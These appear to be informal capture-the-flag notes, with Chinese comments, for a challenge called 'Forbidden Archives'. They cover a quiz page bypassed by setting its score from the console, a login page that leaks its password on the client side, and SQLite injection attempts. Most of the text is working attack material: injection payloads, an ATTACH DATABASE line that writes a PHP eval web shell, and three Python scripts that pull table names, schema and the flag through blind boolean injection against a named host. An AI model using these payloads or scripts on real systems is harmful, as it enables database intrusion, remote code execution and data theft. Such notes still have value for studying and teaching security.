js：
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Calculus Review</title>
  <style>
    body { font-family: 'Courier New', monospace; background: #0a0a0a; color: #00ff00; text-align: center; padding-top: 50px; }
    .box { border: 1px solid #00ff00; display: inline-block; padding: 30px; border-radius: 5px; background: #111; }
    input { background: #000; border: 1px solid #00ff00; color: #00ff00; padding: 10px; font-size: 1.2em; width: 100px; text-align: center; }
    button { background: #00ff00; color: #000; border: none; padding: 10px 20px; cursor: pointer; font-weight: bold; margin-top: 10px; }
    
    .image-container {
      display: inline-block;
      border: 3px solid #00ff00;
      margin-top: 20px;
      margin-bottom: 20px;
      line-height: 0;
    }

    #flag-image { 
      display: block; 
      margin: 15px;
      max-width: 400px; 
      filter: blur(20px);
      transition: filter 0.5s ease;
      user-select: none;
      -webkit-user-drag: none;
      pointer-events: none; 
    }
    
    .stats { margin-bottom: 20px; font-size: 1.5em; }
  </style>
</head>
<body>

  <div class="box">
    <h1>CALCULUS REVIEW</h1>
    <p>Solve 500 derivatives to unblur the image and unlock a secret.</p>
    
    <div class="image-container">
      <img id="flag-image">
    </div>
    
    <div class="stats">Progress: <span id="score">0</span> / 500</div>
    
    <div id="quiz-area">
      <h2 id="question">Loading...</h2>
      <input type="text" id="answer" placeholder="?">
      <br>
      <button onclick="checkAnswer()">SUBMIT ANSWER</button>
    </div>
  </div>

  <script>
    let correctCount = 0;
    let currentAnswer = "";

    function generateProblem() {
      const type = Math.floor(Math.random() * 3);
      let questionText = "";
      let answer = 0;

      if (type === 0) {
        const a = Math.floor(Math.random() * 10) + 2;
        const b = Math.floor(Math.random() * 4) + 2;
        const c = Math.floor(Math.random() * 20) + 5;
        questionText = `f(x) = ${a}x<sup>${b}</sup> + ${c}x <br> Find f'(1)`;
        answer = (a * b) + c;
      } else if (type === 1) {
        const a = Math.floor(Math.random() * 10) + 5;
        const isSin = Math.random() > 0.5;
        if (isSin) {
          questionText = `f(x) = ${a}sin(x) <br> Find f'(&pi;/2)`;
          answer = 0;
        } else {
          questionText = `f(x) = ${a}cos(x) <br> Find f'(&pi;)`;
          answer = 0;
        }
      } else {
        const a = Math.floor(Math.random() * 5) + 1;
        const b = Math.floor(Math.random() * 5) + 1;
        questionText = `f(x) = (x + ${a})(x + ${b}) <br> Find f'(1)`;
        answer = 2 + a + b;
      }

      document.getElementById('question').innerHTML = questionText;
      currentAnswer = answer;
      document.getElementById('answer').value = "";
    }

    function checkAnswer() {
      const userAnswer = parseInt(document.getElementById('answer').value);
      if (userAnswer === currentAnswer) {
        correctCount++;
        document.getElementById('score').innerText = correctCount;
        if (correctCount >= 500) {
          document.getElementById('quiz-area').innerHTML = "<h2>ACCESS GRANTED</h2>";
          const flag = document.getElementById('flag-image');
          flag.style.filter = "none";
          flag.style.pointerEvents = "auto";
        } else {
          generateProblem();
        }
      } else {
        alert("WRONG! Starting over.");
        correctCount = 0;
        document.getElementById('score').innerText = correctCount;
        generateProblem();
      }
    }

    function loadSecretImage() {
      fetch('/api/v1/internal/fetch-config-blob')
        .then(response => {
          if (!response.ok) throw new Error("Failed to load");
          return response.blob();
        })
        .then(blob => {
          const blobUrl = URL.createObjectURL(blob);
          const img = document.getElementById('flag-image');
          img.src = blobUrl;
        })
        .catch(err => console.error("Error hiding image:", err));
    }

    generateProblem();
    loadSecretImage();
  </script>
</body>
</html>

correctCount = 500;
document.getElementById('answer').value = currentAnswer;
checkAnswer();

let leakedUser = "";
			let leakedPass = "";

			fetch('/api/config')
				.then(res => res.json())
				.then(data => {
					leakedUser = data.username; 
					leakedPass = data.password;
				});

			document.getElementById('loginForm').addEventListener('submit', function(e) {
				e.preventDefault();

				const u = document.getElementById('username').value;
				const p = document.getElementById('password').value;
				const msgBox = document.getElementById('messageBox');

				// client-side password comparison
				if (u === leakedUser && p === leakedPass) {
					fetch('/login', {
						method: 'POST',
						headers: { 'Content-Type': 'application/json' },
						body: JSON.stringify({ authenticated: true })
					})
					.then(res => res.json())
					.then(data => {
						if (data.success) {
							window.location.href = data.redirect;
						}
					});
				} else {
					msgBox.innerText = "Incorrect username or password!";
				}
			});

console.log("Username:", leakedUser);
console.log("Password:", leakedPass);

  async function login() {
      const u = document.getElementById("u").value;
      const p = document.getElementById("p").value;

      const res = await fetch("/login", {
        method: "POST",
        headers: {"Content-Type": "application/json"},
        body: JSON.stringify({username: u, password: p})
      });

      document.getElementById("out").innerHTML = await res.text();
    }

1')AND(abs(case(length(hex((select(title)from(scrolls)limit(1)offset(1))))>0)when(1)then(0)else(0x8000000000000000)end))-- 
报错The archives resist:
The ink smears: no such table: scrolls

1')AND(abs(case(1)when(0)then(0)else(0x8000000000000000)end))--这里The archives resist:
The ink smears: integer overflow（整型溢出）

');ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); --  然后说：The archives resist:
The ink smears: You can only execute one statement at a time.

0')||(id=(VALUES(1),(2)))--

0')||(id)IN(SELECT(id)FROM(books)LIMIT(1)OFFSET(1))--

0')||(id=(SELECT(id)FROM(books)LIMIT(1)OFFSET(CASE(length((SELECT(MIN(name))FROM(sqlite_master))))WHEN(5)THEN(1)ELSE(0)END)))--
回显了The Name of the Wind
说明表名就是5位数

?search=0')||(id=(SELECT(id)FROM(books)LIMIT(1)OFFSET(CASE((SELECT(MIN(name))FROM(sqlite_master))LIKE'f%')WHEN(1)THEN(1)ELSE(0)END)))--

import requests

# 配置信息
TARGET_URL = "https://broncoctf-forbidden-archives.chals.io"
TRUE_KEYWORD = "The Name of the Wind"
CHARS = "abcdefghijklmnopqrstuvwxyz0123456789_{}"

def check(condition):
    # 直接使用单引号 ' 和 %，逻辑非常直观
    payload = f"0')||(id=(SELECT(id)FROM(books)LIMIT(1)OFFSET(CASE({condition})WHEN(1)THEN(1)ELSE(0)END)))--"
    params = {'search': payload}
    try:
        r = requests.get(TARGET_URL, params=params, timeout=10)
        return TRUE_KEYWORD in r.text
    except:
        return False

def run():
    # 1. 拿第一个表名
    table_name = ""
    # 先确定长度（假设最大20）
    length = 0
    for l in range(1, 21):
        if check(f"length((SELECT(MIN(name))FROM(sqlite_master)))=={l}"):
            length = l
            break
    print(f"[+] Table 1 Length: {length}")

    # 逐位爆破内容
    for i in range(length):
        for char in CHARS:
            # 直接用 LIKE 'abc%' 这种标准语法
            if check(f"(SELECT(MIN(name))FROM(sqlite_master))LIKE'{table_name + char}%'"):
                table_name += char
                print(f"[>] Found: {table_name}")
                break
    
    print(f"\n[!] 第一个表名是: {table_name}")

    # 2. 如果第一个表是 books，找第二个表
    # 逻辑：WHERE name > 'books'
    # 你可以手动改一下上面的语句再跑一遍
if __name__ == "__main__":
    run()

import requests

# 1. 基础配置
TARGET_URL = "https://broncoctf-forbidden-archives.chals.io"
TRUE_KEYWORD = "The Name of the Wind"

def check(condition):
    # 构造 Payload：利用 OFFSET 0/1 翻书效应
    payload = f"0')||(id=(SELECT(id)FROM(books)LIMIT(1)OFFSET(CASE({condition})WHEN(1)THEN(1)ELSE(0)END)))--"
    params = {'search': payload}
    try:
        r = requests.get(TARGET_URL, params=params, timeout=5)
        return TRUE_KEYWORD in r.text
    except:
        return False

def run_fast_exploit():
    total_length = 115
    # 我们直接从第 85 位开始，跳过前面的 "CREATE TABLE books (..."
    start_pos = 85 
    result = ""
    
    print(f"[*] 正在跳过前 {start_pos-1} 位，直接探测关键列名...")

    for i in range(start_pos, total_length + 1):
        low = 32  # 可打印字符起始 (空格)
        high = 126 # 可打印字符结束 (~)
        
        while low <= high:
            mid = (low + high) // 2
            # 核心逻辑：利用 unicode(substr) 探测第 i 位字符的 ASCII 码
            condition = f"unicode(substr((SELECT(sql)FROM(sqlite_master)WHERE(name)=='books'),{i},1))>{mid}"
            
            if check(condition):
                low = mid + 1
            else:
                high = mid - 1
        
        # 最终确定的字符
        char = chr(low)
        result += char
        print(f"[>] 第 {i:03d} 位: {result}")
        
        # 实时观察：如果你看到了类似 "secret", "hidden", "flag" 这种词，或者看到了 ")", 
        # 说明列名已经出全了。
        if ")" in result:
            print("\n[!] 检测到括号闭合，爆破可能已完成。")
            break

    print(f"\n[!] 探测到的关键片段：\n{result}")

if __name__ == "__main__":
    run_fast_exploit()

import requests

# 配置
TARGET_URL = "https://broncoctf-forbidden-archives.chals.io"
TRUE_KEYWORD = "The Name of the Wind"

# 严格按照题目给出的字符集：a-z, A-Z, 0-9, _, !, @, #, $, %, ^, &, *, '
# 建议先跑小写和数字，速度最快
CHARS = "abcdefghijklmnopqrstuvwxyz0123456789_!@#$%^&*'" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ"

def check(condition):
    payload = f"0')||(id=(SELECT(id)FROM(books)LIMIT(1)OFFSET(CASE({condition})WHEN(1)THEN(1)ELSE(0)END)))--"
    params = {'search': payload}
    try:
        r = requests.get(TARGET_URL, params=params, timeout=5)
        return TRUE_KEYWORD in r.text
    except:
        return False

def get_exact_flag():
    # 从第8位开始爆破（跳过 bronco{）
    flag = "bronco{"
    print(f"[*] 正在从第 8 位开始精确匹配数据...")

    for i in range(8, 64):
        found = False
        for char in CHARS:
            # 逻辑：直接对比 ASCII 码是否完全一致
            # 锁定 is_secret 不为 0 的那一行的 description 字段
            condition = f"unicode(substr((SELECT(description)FROM(books)WHERE(is_secret)!='0'LIMIT(1)),{i},1))=={ord(char)}"
            
            if check(condition):
                flag += char
                print(f"[>] 准确位探测: {flag}")
                found = True
                break
        
        # 探测是否到了右括号 } (ASCII 125)
        if not found:
            if check(f"unicode(substr((SELECT(description)FROM(books)WHERE(is_secret)!='0'LIMIT(1)),{i},1))==125"):
                flag += "}"
                print(f"[!] 探测到结束符: {flag}")
                break
            else:
                print(f"[-] 第 {i} 位未匹配到预设字符，请检查字符集。")
                break
                
    print(f"\n[!] 最终 100% 正确的 Flag: {flag}")

if __name__ == "__main__":
    get_exact_flag()